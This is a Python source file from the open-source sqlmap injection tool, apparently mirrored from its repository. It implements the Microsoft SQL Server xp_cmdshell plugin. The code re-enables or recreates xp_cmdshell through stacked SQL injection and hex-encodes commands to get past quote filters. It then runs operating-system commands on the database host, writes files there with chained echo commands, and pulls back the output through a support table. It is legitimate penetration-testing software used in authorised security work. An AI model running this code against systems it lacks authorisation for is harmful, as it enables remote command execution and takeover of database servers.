mirror of
https://github.com/sqlmapproject/sqlmap.git
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303 lines
12 KiB
Python
303 lines
12 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import flattenValue
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from lib.core.common import getLimitRange
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from lib.core.common import getSQLSnippet
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from lib.core.common import hashDBWrite
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from lib.core.common import isListLike
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import wasLastResponseDelayed
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from lib.core.compat import xrange
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from lib.core.convert import encodeHex
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.decorators import stackedmethod
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import HASHDB_KEYS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapUnsupportedFeatureException
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from lib.core.threads import getCurrentThreadData
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from lib.request import inject
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class XP_cmdshell(object):
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"""
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This class defines methods to deal with Microsoft SQL Server
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xp_cmdshell extended procedure for plugins.
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"""
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def __init__(self):
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self.xpCmdshellStr = "master..xp_cmdshell"
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def _xpCmdshellCreate(self):
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cmd = ""
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if not Backend.isVersionWithin(("2000",)):
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logger.debug("activating sp_OACreate")
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cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
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inject.goStacked(agent.runAsDBMSUser(cmd))
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self._randStr = randomStr(lowercase=True)
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self.xpCmdshellStr = "master..new_xp_cmdshell"
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cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
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if not Backend.isVersionWithin(("2000",)):
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cmd += ";RECONFIGURE WITH OVERRIDE"
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inject.goStacked(agent.runAsDBMSUser(cmd))
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def _xpCmdshellConfigure2005(self, mode):
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debugMsg = "configuring xp_cmdshell using sp_configure "
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debugMsg += "stored procedure"
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logger.debug(debugMsg)
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cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
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return cmd
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def _xpCmdshellConfigure2000(self, mode):
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debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
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debugMsg += "stored procedure"
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logger.debug(debugMsg)
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if mode == 1:
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cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
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else:
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cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))
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return cmd
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def _xpCmdshellConfigure(self, mode):
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if Backend.isVersionWithin(("2000",)):
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cmd = self._xpCmdshellConfigure2000(mode)
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else:
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cmd = self._xpCmdshellConfigure2005(mode)
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inject.goStacked(agent.runAsDBMSUser(cmd))
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def _xpCmdshellCheck(self):
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cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
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self.xpCmdshellExecCmd(cmd)
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return wasLastResponseDelayed()
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@stackedmethod
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def _xpCmdshellTest(self):
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threadData = getCurrentThreadData()
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pushValue(threadData.disableStdOut)
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threadData.disableStdOut = True
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logger.info("testing if xp_cmdshell extended procedure is usable")
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output = self.xpCmdshellEvalCmd("echo 1")
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if output == "1":
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logger.info("xp_cmdshell extended procedure is usable")
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elif isNoneValue(output) and conf.dbmsCred:
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errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
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errMsg += "storing console output within the back-end file system "
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errMsg += "does not have writing permissions for the DBMS process. "
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errMsg += "You are advised to manually adjust it with option "
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errMsg += "'--tmp-path' or you won't be able to retrieve "
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errMsg += "the command(s) output"
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logger.error(errMsg)
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elif isNoneValue(output):
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logger.error("unable to retrieve xp_cmdshell output")
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else:
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logger.info("xp_cmdshell extended procedure is usable")
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threadData.disableStdOut = popValue()
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def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
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echoedLines = []
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cmd = ""
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charCounter = 0
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maxLen = 512
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if isinstance(fileContent, (set, list, tuple)):
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lines = fileContent
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else:
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lines = fileContent.split("\n")
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for line in lines:
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echoedLine = "echo %s " % line
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echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
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echoedLines.append(echoedLine)
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for echoedLine in echoedLines:
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cmd += "%s & " % echoedLine
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charCounter += len(echoedLine)
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if charCounter >= maxLen:
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self.xpCmdshellExecCmd(cmd.rstrip(" & "))
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cmd = ""
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charCounter = 0
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if cmd:
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self.xpCmdshellExecCmd(cmd.rstrip(" & "))
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def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
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# When user provides DBMS credentials (with --dbms-cred) we need to
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# redirect the command standard output to a temporary file in order
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# to retrieve it afterwards
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# NOTE: this does not need to be done when the command is 'del' to
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# delete the temporary file
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if conf.dbmsCred and insertIntoTable:
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self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
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cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
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# Obfuscate the command to execute, also useful to bypass filters
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# on single-quotes
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self._randStr = randomStr(lowercase=True)
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self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
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try:
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self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False))
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except UnicodeError:
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self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
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# Insert the command standard output into a support table,
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# 'sqlmapoutput', except when DBMS credentials are provided because
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# it does not work unfortunately, BULK INSERT needs to be used to
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# retrieve the output when OPENROWSET is used hence the redirection
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# to a temporary file from above
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if insertIntoTable and not conf.dbmsCred:
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self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
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self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
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return agent.runAsDBMSUser(self._forgedCmd)
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def xpCmdshellExecCmd(self, cmd, silent=False):
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return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
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def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
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output = None
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if conf.direct:
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output = self.xpCmdshellExecCmd(cmd)
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if output and isinstance(output, (list, tuple)):
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new_output = ""
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for line in output:
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if line == "NULL":
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new_output += "\n"
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else:
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new_output += "%s\n" % line.strip("\r")
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output = new_output
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else:
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inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
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# When user provides DBMS credentials (with --dbms-cred), the
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# command standard output is redirected to a temporary file
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# The file needs to be copied to the support table,
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# 'sqlmapoutput'
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if conf.dbmsCred:
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
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self.delRemoteFile(self.tmpFile)
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query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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output = inject.getValue(query, resumeValue=False, blind=False, time=False)
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if (output is None) or len(output) == 0 or output[0] is None:
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output = []
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count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if isNumPosStrValue(count):
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for index in getLimitRange(count):
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query = agent.limitQuery(index, query, self.tblField)
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output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
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inject.goStacked("DELETE FROM %s" % self.cmdTblName)
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if output and isListLike(output) and len(output) > 1:
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_ = ""
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lines = [line for line in flattenValue(output) if line is not None]
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for i in xrange(len(lines)):
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line = lines[i] or ""
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if line is None or i in (0, len(lines) - 1) and not line.strip():
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continue
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_ += "%s\n" % line
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output = _.rstrip('\n')
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return output
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def xpCmdshellInit(self):
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if not kb.xpCmdshellAvailable:
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infoMsg = "checking if xp_cmdshell extended procedure is "
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infoMsg += "available, please wait.."
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logger.info(infoMsg)
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result = self._xpCmdshellCheck()
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if result:
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logger.info("xp_cmdshell extended procedure is available")
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kb.xpCmdshellAvailable = True
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else:
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message = "xp_cmdshell extended procedure does not seem to "
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message += "be available. Do you want sqlmap to try to "
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message += "re-enable it? [Y/n] "
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if readInput(message, default='Y', boolean=True):
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self._xpCmdshellConfigure(1)
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if self._xpCmdshellCheck():
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logger.info("xp_cmdshell re-enabled successfully")
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kb.xpCmdshellAvailable = True
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else:
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logger.warning("xp_cmdshell re-enabling failed")
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logger.info("creating xp_cmdshell with sp_OACreate")
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self._xpCmdshellConfigure(0)
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self._xpCmdshellCreate()
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if self._xpCmdshellCheck():
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logger.info("xp_cmdshell created successfully")
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kb.xpCmdshellAvailable = True
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else:
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warnMsg = "xp_cmdshell creation failed, probably "
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warnMsg += "because sp_OACreate is disabled"
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logger.warning(warnMsg)
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hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
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if not kb.xpCmdshellAvailable:
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errMsg = "unable to proceed without xp_cmdshell"
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raise SqlmapUnsupportedFeatureException(errMsg)
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debugMsg = "creating a support table to write commands standard "
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debugMsg += "output to"
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logger.debug(debugMsg)
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# TEXT can't be used here because in error technique you get:
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# "The text, ntext, and image data types cannot be compared or sorted"
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self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
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self._xpCmdshellTest()
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